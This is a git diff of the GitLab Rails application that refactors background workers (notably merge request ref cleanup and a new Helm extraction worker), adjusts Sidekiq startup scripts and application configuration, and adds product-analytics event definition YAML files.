diff --git a/app/workers/jira_connect/sync_merge_request_worker.rb b/app/workers/jira_connect/sync_merge_request_worker.rb
index bf31df2271f..bb0d24667e9 100644
--- a/app/workers/jira_connect/sync_merge_request_worker.rb
+++ b/app/workers/jira_connect/sync_merge_request_worker.rb
@@ -1,14 +1,14 @@
# frozen_string_literal: true
module JiraConnect
- class SyncMergeRequestWorker
+ class SyncMergeRequestWorker # rubocop:disable Scalability/IdempotentWorker
include ApplicationWorker
sidekiq_options retry: 3
queue_namespace :jira_connect
feature_category :integrations
- idempotent!
+ data_consistency :delayed
worker_has_external_dependencies!
diff --git a/app/workers/jira_connect/sync_project_worker.rb b/app/workers/jira_connect/sync_project_worker.rb
index dfff0c4b3b6..317bace89b4 100644
--- a/app/workers/jira_connect/sync_project_worker.rb
+++ b/app/workers/jira_connect/sync_project_worker.rb
@@ -1,15 +1,16 @@
# frozen_string_literal: true
module JiraConnect
- class SyncProjectWorker
+ class SyncProjectWorker # rubocop:disable Scalability/IdempotentWorker
include ApplicationWorker
sidekiq_options retry: 3
queue_namespace :jira_connect
feature_category :integrations
+ data_consistency :delayed
tags :exclude_from_kubernetes
- idempotent!
+
worker_has_external_dependencies!
MERGE_REQUEST_LIMIT = 400
diff --git a/app/workers/merge_request_cleanup_refs_worker.rb b/app/workers/merge_request_cleanup_refs_worker.rb
index 162c6dc2a88..408d070d56f 100644
--- a/app/workers/merge_request_cleanup_refs_worker.rb
+++ b/app/workers/merge_request_cleanup_refs_worker.rb
@@ -2,6 +2,8 @@
class MergeRequestCleanupRefsWorker
include ApplicationWorker
+ include LimitedCapacity::Worker
+ include Gitlab::Utils::StrongMemoize
sidekiq_options retry: 3
@@ -9,20 +11,60 @@ class MergeRequestCleanupRefsWorker
tags :exclude_from_kubernetes
idempotent!
- def perform(merge_request_id)
- return unless Feature.enabled?(:merge_request_refs_cleanup, default_enabled: false)
+ # Hard-coded to 4 for now. Will be configurable later on via application settings.
+ # This means, there can only be 4 jobs running at the same time at maximum.
+ MAX_RUNNING_JOBS = 4
+ FAILURE_THRESHOLD = 3
- merge_request = MergeRequest.find_by_id(merge_request_id)
+ def perform_work
+ return unless Feature.enabled?(:merge_request_refs_cleanup, default_enabled: false)
unless merge_request
- logger.error("Failed to find merge request with ID: #{merge_request_id}")
+ logger.error('No existing merge request to be cleaned up.')
return
end
- result = ::MergeRequests::CleanupRefsService.new(merge_request).execute
+ log_extra_metadata_on_done(:merge_request_id, merge_request.id)
+
+ result = MergeRequests::CleanupRefsService.new(merge_request).execute
+
+ if result[:status] == :success
+ merge_request_cleanup_schedule.complete!
+ else
+ if merge_request_cleanup_schedule.failed_count < FAILURE_THRESHOLD
+ merge_request_cleanup_schedule.retry!
+ else
+ merge_request_cleanup_schedule.mark_as_failed!
+ end
+
+ log_extra_metadata_on_done(:message, result[:message])
+ end
+
+ log_extra_metadata_on_done(:status, merge_request_cleanup_schedule.status)
+ end
+
+ def remaining_work_count
+ MergeRequest::CleanupSchedule
+ .scheduled_and_unstarted
+ .limit(max_running_jobs)
+ .count
+ end
+
+ def max_running_jobs
+ MAX_RUNNING_JOBS
+ end
+
+ private
- return if result[:status] == :success
+ def merge_request
+ strong_memoize(:merge_request) do
+ merge_request_cleanup_schedule&.merge_request
+ end
+ end
- logger.error("Failed cleanup refs of merge request (#{merge_request_id}): #{result[:message]}")
+ def merge_request_cleanup_schedule
+ strong_memoize(:merge_request_cleanup_schedule) do
+ MergeRequest::CleanupSchedule.start_next
+ end
end
end
diff --git a/app/workers/namespaces/in_product_marketing_emails_worker.rb b/app/workers/namespaces/in_product_marketing_emails_worker.rb
index 7985325d1ad..1f46be29553 100644
--- a/app/workers/namespaces/in_product_marketing_emails_worker.rb
+++ b/app/workers/namespaces/in_product_marketing_emails_worker.rb
@@ -14,7 +14,6 @@ module Namespaces
def perform
return if paid_self_managed_instance?
return if setting_disabled?
- return if experiment_inactive?
Namespaces::InProductMarketingEmailsService.send_for_all_tracks_and_intervals
end
@@ -28,10 +27,6 @@ module Namespaces
def setting_disabled?
!Gitlab::CurrentSettings.in_product_marketing_emails_enabled
end
-
- def experiment_inactive?
- Gitlab.com? && !Gitlab::Experimentation.active?(:in_product_marketing_emails)
- end
end
end
diff --git a/app/workers/packages/helm/extraction_worker.rb b/app/workers/packages/helm/extraction_worker.rb
new file mode 100644
index 00000000000..fd4e720da94
--- /dev/null
+++ b/app/workers/packages/helm/extraction_worker.rb
@@ -0,0 +1,29 @@
+# frozen_string_literal: true
+
+module Packages
+ module Helm
+ class ExtractionWorker
+ include ApplicationWorker
+
+ queue_namespace :package_repositories
+ feature_category :package_registry
+ deduplicate :until_executing
+
+ idempotent!
+
+ def perform(channel, package_file_id)
+ package_file = ::Packages::PackageFile.find_by_id(package_file_id)
+
+ return unless package_file && !package_file.package.default?
+
+ ::Packages::Helm::ProcessFileService.new(channel, package_file).execute
+
+ rescue ::Packages::Helm::ExtractFileMetadataService::ExtractionError,
+ ::Packages::Helm::ProcessFileService::ExtractionError,
+ ::ActiveModel::ValidationError => e
+ Gitlab::ErrorTracking.log_exception(e, project_id: package_file.project_id)
+ package_file.package.update_column(:status, :error)
+ end
+ end
+ end
+end
diff --git a/app/workers/partition_creation_worker.rb b/app/workers/partition_creation_worker.rb
index 2b21741d6c2..bb4834ab2dd 100644
--- a/app/workers/partition_creation_worker.rb
+++ b/app/workers/partition_creation_worker.rb
@@ -10,8 +10,7 @@ class PartitionCreationWorker
idempotent!
def perform
- Gitlab::Database::Partitioning::PartitionCreator.new.create_partitions
- ensure
- Gitlab::Database::Partitioning::PartitionMonitoring.new.report_metrics
+ # This worker has been removed in favor of Database::PartitionManagementWorker
+ Database::PartitionManagementWorker.new.perform
end
end
diff --git a/app/workers/pipeline_hooks_worker.rb b/app/workers/pipeline_hooks_worker.rb
index 97e6adbbf18..40d138752b4 100644
--- a/app/workers/pipeline_hooks_worker.rb
+++ b/app/workers/pipeline_hooks_worker.rb
@@ -8,7 +8,7 @@ class PipelineHooksWorker # rubocop:disable Scalability/IdempotentWorker
queue_namespace :pipeline_hooks
worker_resource_boundary :cpu
- data_consistency :delayed, feature_flag: :load_balancing_for_pipeline_hooks_worker
+ data_consistency :delayed
# rubocop: disable CodeReuse/ActiveRecord
def perform(pipeline_id)
diff --git a/app/workers/project_service_worker.rb b/app/workers/project_service_worker.rb
index 967be3b3e81..da38d2fc0cd 100644
--- a/app/workers/project_service_worker.rb
+++ b/app/workers/project_service_worker.rb
@@ -15,6 +15,6 @@ class ProjectServiceWorker # rubocop:disable Scalability/IdempotentWorker
integration.execute(data)
rescue StandardError => error
integration_class = integration&.class&.name || "Not Found"
- logger.error class: self.class.name, service_class: integration_class, message: error.message
+ Gitlab::ErrorTracking.log_exception(error, integration_class: integration_class)
end
end
diff --git a/app/workers/projects/post_creation_worker.rb b/app/workers/projects/post_creation_worker.rb
index 1970f79729f..389e987e81a 100644
--- a/app/workers/projects/post_creation_worker.rb
+++ b/app/workers/projects/post_creation_worker.rb
@@ -15,21 +15,21 @@ module Projects
return unless project
- create_prometheus_service(project)
+ create_prometheus_integration(project)
end
private
- def create_prometheus_service(project)
- service = project.find_or_initialize_service(::PrometheusService.to_param)
+ def create_prometheus_integration(project)
+ integration = project.find_or_initialize_integration(::Integrations::Prometheus.to_param)
# If the service has already been inserted in the database, that
# means it came from a template, and there's nothing more to do.
- return if service.persisted?
+ return if integration.persisted?
- return unless service.prometheus_available?
+ return unless integration.prometheus_available?
- service.save!
+ integration.save!
rescue ActiveRecord::RecordInvalid => e
Gitlab::ErrorTracking.track_exception(e, extra: { project_id: project.id })
end
diff --git a/app/workers/prometheus/create_default_alerts_worker.rb b/app/workers/prometheus/create_default_alerts_worker.rb
index 0dba752ced1..9d163cd828e 100644
--- a/app/workers/prometheus/create_default_alerts_worker.rb
+++ b/app/workers/prometheus/create_default_alerts_worker.rb
@@ -15,7 +15,7 @@ module Prometheus
return unless project
- result = Prometheus::CreateDefaultAlertsService.new(project: project).execute
+ result = ::Prometheus::CreateDefaultAlertsService.new(project: project).execute
log_info(result.message) if result.error?
end
diff --git a/app/workers/repository_check/single_repository_worker.rb b/app/workers/repository_check/single_repository_worker.rb
index a9a8201205e..31d68e65b23 100644
--- a/app/workers/repository_check/single_repository_worker.rb
+++ b/app/workers/repository_check/single_repository_worker.rb
@@ -46,7 +46,7 @@ module RepositoryCheck
true
rescue Gitlab::Git::Repository::GitError => e
- Gitlab::RepositoryCheckLogger.error(e.message)
+ Gitlab::RepositoryCheckLogger.error("#{repository.full_path}: #{e.message}")
false
end
diff --git a/app/workers/schedule_merge_request_cleanup_refs_worker.rb b/app/workers/schedule_merge_request_cleanup_refs_worker.rb
index b5ea5298879..40a773ca58f 100644
--- a/app/workers/schedule_merge_request_cleanup_refs_worker.rb
+++ b/app/workers/schedule_merge_request_cleanup_refs_worker.rb
@@ -10,21 +10,10 @@ class ScheduleMergeRequestCleanupRefsWorker
tags :exclude_from_kubernetes
idempotent!
- # Based on existing data, MergeRequestCleanupRefsWorker can run 3 jobs per
- # second. This means that 180 jobs can be performed but since there are some
- # spikes from time time, it's better to give it some allowance.
- LIMIT = 180
- DELAY = 10.seconds
- BATCH_SIZE = 30
-
def perform
return if Gitlab::Database.read_only?
return unless Feature.enabled?(:merge_request_refs_cleanup, default_enabled: false)
- ids = MergeRequest::CleanupSchedule.scheduled_merge_request_ids(LIMIT).map { |id| [id] }
-
- MergeRequestCleanupRefsWorker.bulk_perform_in(DELAY, ids, batch_size: BATCH_SIZE) # rubocop:disable Scalability/BulkPerformWithContext
-
- log_extra_metadata_on_done(:merge_requests_count, ids.size)
+ MergeRequestCleanupRefsWorker.perform_with_capacity
end
end
diff --git a/babel.config.js b/babel.config.js
index 4dfca8f6144..d10de05258b 100644
--- a/babel.config.js
+++ b/babel.config.js
@@ -19,6 +19,10 @@ const plugins = [
'@babel/plugin-proposal-private-methods',
// See: https://gitlab.com/gitlab-org/gitlab/-/issues/229146
'@babel/plugin-transform-arrow-functions',
+ // See: https://gitlab.com/gitlab-org/gitlab/-/issues/336216
+ '@babel/plugin-proposal-optional-chaining',
+ // See: https://gitlab.com/gitlab-org/gitlab/-/issues/336216
+ '@babel/plugin-proposal-nullish-coalescing-operator',
'lodash',
];
diff --git a/bin/actioncable b/bin/actioncable
deleted file mode 100755
index 14600ec1177..00000000000
--- a/bin/actioncable
+++ /dev/null
@@ -1,63 +0,0 @@
-#!/bin/sh
-
-set -e
-
-cd $(dirname $0)/..
-app_root=$(pwd)
-
-puma_pidfile="$app_root/tmp/pids/puma_actioncable.pid"
-puma_config="$app_root/config/puma_actioncable.rb"
-
-spawn_puma()
-{
- exec bundle exec puma --config "${puma_config}" --environment "$RAILS_ENV" "$@"
-}
-
-get_puma_pid()
-{
- pid=$(cat "${puma_pidfile}")
- if [ -z "$pid" ] ; then
- echo "Could not find a PID in $puma_pidfile"
- exit 1
- fi
- echo "${pid}"
-}
-
-start()
-{
- spawn_puma -d
-}
-
-start_foreground()
-{
- spawn_puma
-}
-
-stop()
-{
- get_puma_pid
- kill -INT "$(get_puma_pid)"
-}
-
-reload()
-{
- kill -USR2 "$(get_puma_pid)"
-}
-
-case "$1" in
- start)
- start
- ;;
- start_foreground)
- start_foreground
- ;;
- stop)
- stop
- ;;
- reload)
- reload
- ;;
- *)
- echo "Usage: RAILS_ENV=your_env $0 {start|start_foreground|stop|reload}"
- ;;
-esac
diff --git a/bin/background_jobs_sk b/bin/background_jobs_sk
index 0aab69126b2..0e9a5365d44 100755
--- a/bin/background_jobs_sk
+++ b/bin/background_jobs_sk
@@ -24,13 +24,13 @@ restart()
fi
pkill -u $gitlab_user -f 'sidekiq [0-9]'
- start_sidekiq -P $sidekiq_pidfile -d -L $sidekiq_logfile >> $sidekiq_logfile 2>&1
+ start_sidekiq -P $sidekiq_pidfile -d -L $sidekiq_logfile "$@" >> $sidekiq_logfile 2>&1
}
# Starts on foreground but output to the logfile instead stdout.
start_silent()
{
- start_sidekiq >> $sidekiq_logfile 2>&1
+ start_sidekiq "$@" >> $sidekiq_logfile 2>&1
}
start_sidekiq()
@@ -50,17 +50,17 @@ case "$1" in
stop
;;
start)
- restart
+ restart "$@"
;;
start_silent)
warn "Deprecated: Will be removed at 13.0 (see https://gitlab.com/gitlab-org/gitlab/-/issues/196731)."
start_silent
;;
start_foreground)
- start_sidekiq
+ start_sidekiq "$@"
;;
restart)
- restart
+ restart "$@"
;;
*)
echo "Usage: RAILS_ENV=<env> $0 {stop|start|start_silent|start_foreground|restart}"
diff --git a/bin/background_jobs_sk_cluster b/bin/background_jobs_sk_cluster
index 6188ec51420..d48b5484fce 100755
--- a/bin/background_jobs_sk_cluster
+++ b/bin/background_jobs_sk_cluster
@@ -11,7 +11,7 @@ warn()
echo "$@" 1>&2
}
-get_sidekiq_pid()
+get_sidekiq_pid()
{
if [ ! -f $sidekiq_pidfile ]; then
warn "No pidfile found at $sidekiq_pidfile; is Sidekiq running?"
@@ -37,7 +37,7 @@ restart()
fi
warn "Sidekiq output will be written to $sidekiq_logfile"
- start_sidekiq >> $sidekiq_logfile 2>&1
+ start_sidekiq "$@" >> $sidekiq_logfile 2>&1
}
start_sidekiq()
@@ -55,7 +55,7 @@ start_sidekiq()
processes_args+=("*")
done
- ${cmd} bin/sidekiq-cluster "${processes_args[@]}" -P $sidekiq_pidfile -e $RAILS_ENV
+ ${cmd} bin/sidekiq-cluster "${processes_args[@]}" -P $sidekiq_pidfile -e $RAILS_ENV "$@"
}
case "$1" in
@@ -63,13 +63,13 @@ case "$1" in
stop
;;
start)
- restart &
+ restart "$@" &
;;
start_foreground)
- start_sidekiq
+ start_sidekiq "$@"
;;
restart)
- restart &
+ restart "$@" &
;;
*)
echo "Usage: RAILS_ENV=<env> SIDEKIQ_WORKERS=<n> $0 {stop|start|start_foreground|restart}"
diff --git a/cable/config.ru b/cable/config.ru
deleted file mode 100644
index 421aee38346..00000000000
--- a/cable/config.ru
+++ /dev/null
@@ -1,10 +0,0 @@
-# frozen_string_literal: true
-
-require ::File.expand_path('../../config/environment', __FILE__)
-Rails.application.eager_load!
-
-ACTION_CABLE_SERVER = true
-
-use ActionDispatch::RequestId, header: Rails.application.config.action_dispatch.request_id_header
-
-run ActionCable.server
diff --git a/config/application.rb b/config/application.rb
index 5e350cb80dd..6526be15cd4 100644
--- a/config/application.rb
+++ b/config/application.rb
@@ -32,6 +32,8 @@ module Gitlab
require_dependency Rails.root.join('lib/gitlab/middleware/rack_multipart_tempfile_factory')
require_dependency Rails.root.join('lib/gitlab/runtime')
+ config.autoloader = :classic
+
# Settings in config/environments/* take precedence over those specified here.
# Application configuration should go into files in config/initializers
# -- all .rb files in that directory are automatically loaded.
@@ -149,6 +151,7 @@ module Gitlab
elasticsearch_password
search
jwt
+ mailgun_signing_key
otp_attempt
sentry_dsn
trace
@@ -383,7 +386,15 @@ module Gitlab
initializer :correct_precompile_targets, after: :set_default_precompile do |app|
app.config.assets.precompile.reject! { |entry| entry == Sprockets::Railtie::LOOSE_APP_ASSETS }
- asset_roots = [config.root.join("app/assets").to_s]
+ # if two files in assets are named the same, it'll likely resolve to the normal app/assets version.
+ # See https://gitlab.com/gitlab-jh/gitlab/-/merge_requests/27#note_609101582 for more details
+ asset_roots = []
+
+ if Gitlab.jh?
+ asset_roots << config.root.join("jh/app/assets").to_s
+ end
+
+ asset_roots << config.root.join("app/assets").to_s
if Gitlab.ee?
asset_roots << config.root.join("ee/app/assets").to_s
@@ -411,16 +422,18 @@ module Gitlab
end
end
- # Add EE assets. They should take precedence over CE. This means if two files exist, e.g.:
+ # Add assets for variants of GitLab. They should take precedence over CE.
+ # This means if multiple files exist, e.g.:
#
+ # jh/app/assets/stylesheets/example.scss
# ee/app/assets/stylesheets/example.scss
# app/assets/stylesheets/example.scss
#
- # The ee/ version will be preferred.
- initializer :prefer_ee_assets, after: :append_assets_path do |app|
- if Gitlab.ee?
+ # The jh/ version will be preferred.
+ initializer :prefer_specialized_assets, after: :append_assets_path do |app|
+ Gitlab.extensions.each do |extension|
%w[images javascripts stylesheets].each do |path|
- app.config.assets.paths.unshift("#{config.root}/ee/app/assets/#{path}")
+ app.config.assets.paths.unshift("#{config.root}/#{extension}/app/assets/#{path}")
end
end
end
diff --git a/config/environments/development.rb b/config/environments/development.rb
index 50d394859bc..92de88394c6 100644
--- a/config/environments/development.rb
+++ b/config/environments/development.rb
@@ -50,7 +50,7 @@ Rails.application.configure do
config.action_mailer.raise_delivery_errors = true
# Don't make a mess when bootstrapping a development environment
config.action_mailer.perform_deliveries = (ENV['BOOTSTRAP'] != '1')
- config.action_mailer.preview_path = 'app/mailers/previews'
+ config.action_mailer.preview_path = "#{Rails.root}{/ee,}/app/mailers/previews"
config.eager_load = false
diff --git a/config/environments/production.rb b/config/environments/production.rb
index f1d6b6c8bbc..e1a7db8d860 100644
--- a/config/environments/production.rb
+++ b/config/environments/production.rb
@@ -54,9 +54,6 @@ Rails.application.configure do
# Enable serving of images, stylesheets, and JavaScripts from an asset server
config.action_controller.asset_host = ENV['GITLAB_CDN_HOST'] if ENV['GITLAB_CDN_HOST'].present?
- # We use a env var to keep at old default until we enable this for GitLab.com
- config.active_record.legacy_connection_handling = !Gitlab::Utils.to_boolean(ENV.fetch('ENABLE_RAILS_61_CONNECTION_HANDLING', false))
-
# Do not dump schema after migrations.
config.active_record.dump_schema_after_migration = false
diff --git a/config/events/api__group_container_repositories_list_repositories.yml b/config/events/api__group_container_repositories_list_repositories.yml
new file mode 100644
index 00000000000..4df063ec758
--- /dev/null
+++ b/config/events/api__group_container_repositories_list_repositories.yml
@@ -0,0 +1,18 @@
+description: List group repositories
+category: API::GroupContainerRepositories
+action: list_repositories
+label_description:
+property_description:
+value_description:
+extra_properties:
+identifiers:
+product_section: ops
+product_stage: package
+product_group: package
+product_category:
+milestone: "13.5"
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/41846
+distributions:
+- ce
+tiers:
+- free
diff --git a/config/events/api__project_container_repositories_delete_repository.yml b/config/events/api__project_container_repositories_delete_repository.yml
new file mode 100644
index 00000000000..196f7273a5c
--- /dev/null
+++ b/config/events/api__project_container_repositories_delete_repository.yml
@@ -0,0 +1,18 @@
+description: Delete project container repository
+category: API::ProjectContainerRepositories
+action: delete_repository
+label_description:
+property_description:
+value_description:
+extra_properties:
+identifiers:
+product_section: ops
+product_stage: package
+product_group: package
+product_category:
+milestone: "13.5"
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/41846
+distributions:
+- ce
+tiers:
+- free
diff --git a/config/events/api__project_container_repositories_delete_tag.yml b/config/events/api__project_container_repositories_delete_tag.yml
new file mode 100644
index 00000000000..cb2c7748faa
--- /dev/null
+++ b/config/events/api__project_container_repositories_delete_tag.yml
@@ -0,0 +1,18 @@
+description: Delete project container tag
+category: API::ProjectContainerRepositories
+action: delete_tag
+label_description:
+property_description:
+value_description:
+extra_properties:
+identifiers:
+product_section: ops
+product_stage: package
+product_group: package
+product_category:
+milestone: "13.5"
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/41846
+distributions:
+- ce
+tiers:
+- free
diff --git a/config/events/api__project_container_repositories_delete_tag_bulk.yml b/config/events/api__project_container_repositories_delete_tag_bulk.yml
new file mode 100644
index 00000000000..e36f835308b
--- /dev/null
+++ b/config/events/api__project_container_repositories_delete_tag_bulk.yml
@@ -0,0 +1,18 @@
+description: Delete project container tag in bulk
+category: API::ProjectContainerRepositories
+action: delete_tag_bulk
+label_description:
+property_description:
+value_description:
+extra_properties:
+identifiers:
+product_section: ops
+product_stage: package
+product_group: package
+product_category:
+milestone: "13.5"
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/41846
+distributions:
+- ce
+tiers:
+- free
diff --git a/config/events/api__project_container_repositories_list_repositories.yml b/config/events/api__project_container_repositories_list_repositories.yml
new file mode 100644
index 00000000000..9c8063891af
--- /dev/null
+++ b/config/events/api__project_container_repositories_list_repositories.yml
@@ -0,0 +1,18 @@
+description: List project repositories
+category: API::ProjectContainerRepositories
+action: list_repositories
+label_description:
+property_description:
+value_description:
+extra_properties:
+identifiers:
+product_section: ops
+product_stage: package
+product_group: package
+product_category:
+milestone: "13.5"
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/41846
+distributions:
+- ce
+tiers:
+- free
diff --git a/config/events/api__project_container_repositories_list_tags.yml b/config/events/api__project_container_repositories_list_tags.yml
new file mode 100644
index 00000000000..5e269e2d69e
--- /dev/null
+++ b/config/events/api__project_container_repositories_list_tags.yml
@@ -0,0 +1,18 @@
+description: List project repositories tags
+category: API::ProjectContainerRepositories
+action: list_tags
+label_description:
+property_description:
+value_description:
+extra_properties:
+identifiers:
+product_section: ops
+product_stage: package
+product_group: package
+product_category:
+milestone: "13.5"
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/41846
+distributions:
+- ce
+tiers:
+- free
diff --git a/config/events/api__pypi_packages_list_package.yml b/config/events/api__pypi_packages_list_package.yml
new file mode 100644
index 00000000000..adb9d91bcee
--- /dev/null
+++ b/config/events/api__pypi_packages_list_package.yml
@@ -0,0 +1,18 @@
+description: List PyPI packages
+category: API::PypiPackages
+action: list_package
+label_description:
+property_description:
+value_description:
+extra_properties:
+identifiers:
+product_section: ops
+product_stage: package
+product_group: package
+product_category:
+milestone: "13.5"
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/41846
+distributions:
+- ce
+tiers:
+- free
diff --git a/config/events/cluster_applications_cluster_application_name.yml b/config/events/cluster_applications_cluster_application_name.yml
new file mode 100644
index 00000000000..e993c7ce9f5
--- /dev/null
+++ b/config/events/cluster_applications_cluster_application_name.yml
@@ -0,0 +1,18 @@
+description: Install cluster application
+category: cluster:applications
+action: cluster application name
+label_description:
+property_description:
+value_description:
+extra_properties:
+identifiers:
+product_section: ops
+product_stage: monitor
+product_group: monitor
+product_category:
+milestone: "12.7"
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/23000
+distributions:
+- ce
+tiers:
+- free
diff --git a/config/events/cluster_services_prometheus_disabled_manual_prometheus.yml b/config/events/cluster_services_prometheus_disabled_manual_prometheus.yml
new file mode 100644
index 00000000000..b1fb10ad8f0
--- /dev/null
+++ b/config/events/cluster_services_prometheus_disabled_manual_prometheus.yml
@@ -0,0 +1,18 @@
+description: Disable manual prometheus
+category: cluster:services:prometheus
+action: disabled_manual_prometheus
+label_description:
+property_description:
+value_description:
+extra_properties:
+identifiers:
+product_section: dev
+product_stage: create
+product_group: ecosystem
+product_category:
+milestone: "14.0"
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/62645
+distributions:
+- ce
+tiers:
+- free
diff --git a/config/events/cluster_services_prometheus_enabled_manual_prometheus.yml b/config/events/cluster_services_prometheus_enabled_manual_prometheus.yml
new file mode 100644
index 00000000000..df35543a509
--- /dev/null
+++ b/config/events/cluster_services_prometheus_enabled_manual_prometheus.yml
@@ -0,0 +1,18 @@
+description: Enable manual prometheus
+category: cluster:services:prometheus
+action: enabled_manual_prometheus
+label_description:
+property_description:
+value_description:
+extra_properties:
+identifiers:
+product_section: dev
+product_stage: create
+product_group: ecosystem
+product_category:
+milestone: "14.0"
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/62645
+distributions:
+- ce
+tiers:
+- free
diff --git a/config/events/container_registry_notification_create_repository.yml b/config/events/container_registry_notification_create_repository.yml
new file mode 100644
index 00000000000..fa455140468
--- /dev/null
+++ b/config/events/container_registry_notification_create_repository.yml
@@ -0,0 +1,18 @@
+description: Create repository container registry notification
+category: container_registry:notification
+action: create_repository
+label_description:
+property_description:
+value_description:
+extra_properties:
+identifiers:
+product_section: ops
+product_stage: package
+product_group: package
+product_category:
+milestone: "12.10"
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/27001
+distributions:
+- ce
+tiers:
+- free
diff --git a/config/events/container_registry_notification_delete_repository.yml b/config/events/container_registry_notification_delete_repository.yml
new file mode 100644
index 00000000000..ceb7c5e4155
--- /dev/null
+++ b/config/events/container_registry_notification_delete_repository.yml
@@ -0,0 +1,18 @@
+description: Delete repository container registry notification
+category: container_registry:notification
+action: delete_repository
+label_description:
+property_description:
+value_description:
+extra_properties:
+identifiers:
+product_section: ops
+product_stage: package
+product_group: package
+product_category:
+milestone: "12.10"
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/27001
+distributions:
+- ce
+tiers:
+- free
diff --git a/config/events/container_registry_notification_delete_tag.yml b/config/events/container_registry_notification_delete_tag.yml
new file mode 100644
index 00000000000..8e33c901e0e
--- /dev/null
+++ b/config/events/container_registry_notification_delete_tag.yml
@@ -0,0 +1,18 @@
+description: Delete tag container registry notification
+category: container_registry:notification
+action: delete_tag
+label_description:
+property_description:
+value_description:
+extra_properties:
+identifiers:
+product_section: ops
+product_stage: package
+product_group: package
+product_category:
+milestone: "12.10"
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/27001
+distributions:
+- ce
+tiers:
+- free
diff --git a/config/events/container_registry_notification_push_repository.yml b/config/events/container_registry_notification_push_repository.yml
new file mode 100644
index 00000000000..10edf3ceafd
--- /dev/null
+++ b/config/events/container_registry_notification_push_repository.yml
@@ -0,0 +1,18 @@
+description: Push repository container registry notification
+category: container_registry:notification
+action: push_repository
+label_description:
+property_description:
+value_description:
+extra_properties:
+identifiers:
+product_section: ops
+product_stage: package
+product_group: package
+product_category:
+milestone: "12.10"
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/27001
+distributions:
+- ce
+tiers:
+- free
diff --git a/config/events/container_registry_notification_push_tag.yml b/config/events/container_registry_notification_push_tag.yml
new file mode 100644
index 00000000000..9679dd4e52f
--- /dev/null
+++ b/config/events/container_registry_notification_push_tag.yml
@@ -0,0 +1,18 @@
+description: Push tag container registry notification
+category: container_registry:notification
+action: push_tag
+label_description:
+property_description:
+value_description:
+extra_properties:
+identifiers:
+product_section: ops
+product_stage: package
+product_group: package
+product_category:
+milestone: "12.10"
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/27001
+distributions:
+- ce
+tiers:
+- free
diff --git a/config/events/delete_repository_container.yml b/config/events/delete_repository_container.yml
new file mode 100644
index 00000000000..491cf9a7e4a
--- /dev/null
+++ b/config/events/delete_repository_container.yml
@@ -0,0 +1,18 @@
+description: Delete repository
+category: delete_repository
+action: container
+label_description:
+property_description:
+value_description:
+extra_properties:
+identifiers:
+product_section: ops
+product_stage: package
+product_group: package
+product_category:
+milestone: "13.6"
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/47175
+distributions:
+- ce
+tiers:
+- free
diff --git a/config/events/delete_tag_bulk_tag.yml b/config/events/delete_tag_bulk_tag.yml
new file mode 100644
index 00000000000..feaca98bd38
--- /dev/null
+++ b/config/events/delete_tag_bulk_tag.yml
@@ -0,0 +1,18 @@
+description: Delete container repository tags in bulk
+category: delete_tag_bulk
+action: tag
+label_description:
+property_description:
+value_description:
+extra_properties:
+identifiers:
+product_section: ops
+product_stage: package
+product_group: package
+product_category:
+milestone: "13.7"
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/48617
+distributions:
+- ce
+tiers:
+- free
diff --git a/config/events/experiment_name_initial_write.yml b/config/events/experiment_name_initial_write.yml
new file mode 100644
index 00000000000..f2233f7dabb
--- /dev/null
+++ b/config/events/experiment_name_initial_write.yml
@@ -0,0 +1,18 @@
+description: First commit on empty repo experiment
+category: experiment name
+action: initial_write
+label_description:
+property_description:
+value_description:
+extra_properties:
+identifiers:
+product_section: growth
+product_stage: growth
+product_group: adoption
+product_category:
+milestone: "13.12"
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/59713
+distributions:
+- ce
+tiers:
+- free
diff --git a/config/events/experiment_name_write.yml b/config/events/experiment_name_write.yml
new file mode 100644
index 00000000000..82b5d18bd91
--- /dev/null
+++ b/config/events/experiment_name_write.yml
@@ -0,0 +1,18 @@
+description: First commits on new project README experiment
+category: experiment name
+action: write
+label_description:
+property_description:
+value_description:
+extra_properties:
+identifiers:
+product_section: growth
+product_stage: growth
+product_group: adoption
+product_category:
+milestone: "13.12"
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/59713
+distributions:
+- ce
+tiers:
+- free
diff --git a/config/events/groups__email_campaigns_controller_click.yml b/config/events/groups__email_campaigns_controller_click.yml
new file mode 100644
index 00000000000..bbc2abb8707
--- /dev/null
+++ b/config/events/groups__email_campaigns_controller_click.yml
@@ -0,0 +1,18 @@
+description: Marketing email campaigns
+category: Groups::EmailCampaignsController
+action: click
+label_description:
+property_description:
+value_description:
+extra_properties:
+identifiers:
+product_section: growth
+product_stage: growth
+product_group: activation
+product_category:
+milestone: "13.11"
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/56015
+distributions:
+- ce
+tiers:
+- free
diff --git a/config/events/groups__registry__repositories_controller_list_repositories.yml b/config/events/groups__registry__repositories_controller_list_repositories.yml
new file mode 100644
index 00000000000..1fafbf75103
--- /dev/null
+++ b/config/events/groups__registry__repositories_controller_list_repositories.yml
@@ -0,0 +1,18 @@
+description: List group repositories
+category: Groups::Registry::RepositoriesController
+action: list_repositories
+label_description:
+property_description:
+value_description:
+extra_properties:
+identifiers:
+product_section: ops
+product_stage: package
+product_group: package
+product_category:
+milestone: "13.5"
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/41846
+distributions:
+- ce
+tiers:
+- free
